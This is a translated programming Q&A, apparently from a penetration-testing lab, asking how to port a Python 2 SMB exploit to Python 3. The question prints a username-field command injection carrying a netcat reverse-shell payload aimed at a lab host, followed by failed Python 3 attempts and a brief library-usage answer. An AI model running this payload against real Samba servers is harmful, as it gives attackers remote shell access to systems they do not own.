【问题标题】:Connecting to an SMB share in python3在 python3 中连接到 SMB 共享
【发布时间】:2021-03-23 21:28:20
【问题描述】:

我正在关注使用 Python 2 连接到 smb 共享的渗透测试文章:

Python 2.7.17 (default, Oct 19 2019, 23:36:22) 
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from smb.SMBConnection import SMBConnection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = SMBConnection(username, "", "", "")
>>> connection.connect("10.10.10.3",445)

我正在尝试使用 Python 3 完成同样的事情,这就是我所取得的成就:

Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from smbprotocol.connection import Connection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = Connection(username, "", "", "")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/user/.local/lib/python3.9/site-packages/smbprotocol/connection.py", line 638, in __init__
    log.info("Initialising connection, guid: %s, require_signing: %s, "
TypeError: %d format: a number is required, not str
>>> import smbclient
>>> smbclient.ClientConfig(username)
<smbclient._pool.ClientConfig object at 0x7f6d093ac2e0>
>>> connection = smbclient.ClientConfig(username)
>>> connection.connect("10.X.X.X",445)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'ClientConfig' object has no attribute 'connect'
>>> 

我使用的模块是https://github.com/jborean93/smbprotocol

【问题讨论】:

  • 是的,我在自述文件中的尝试中有几行

标签: python-3.x smb penetration-testing


【解决方案1】:

我认为最后一次尝试(使用 smbclient)的问题是您需要将连接更改回 smbclient。正如您第二次调用 connection 时一样,您正在调用 smbclient.ClientConfig()

文档建议您这样做(在您完成 ClientConfig 之后):

使用 smbclient.open_file(r"\server\share\directory\file.txt", mode="w") 作为 fd: fd.write(u"文件内容")

我认为其他人也提到了这些文档,但在这里,他们有一些很好的例子:

https://pypi.org/project/smbprotocol/

【讨论】:

    猜你喜欢
    • 2021-05-13
    • 2021-05-24
    • 2019-07-08
    • 1970-01-01
    • 2019-02-15
    • 2020-09-28
    • 2016-05-29
    • 2018-03-23
    • 2014-01-26
    相关资源
    最近更新 更多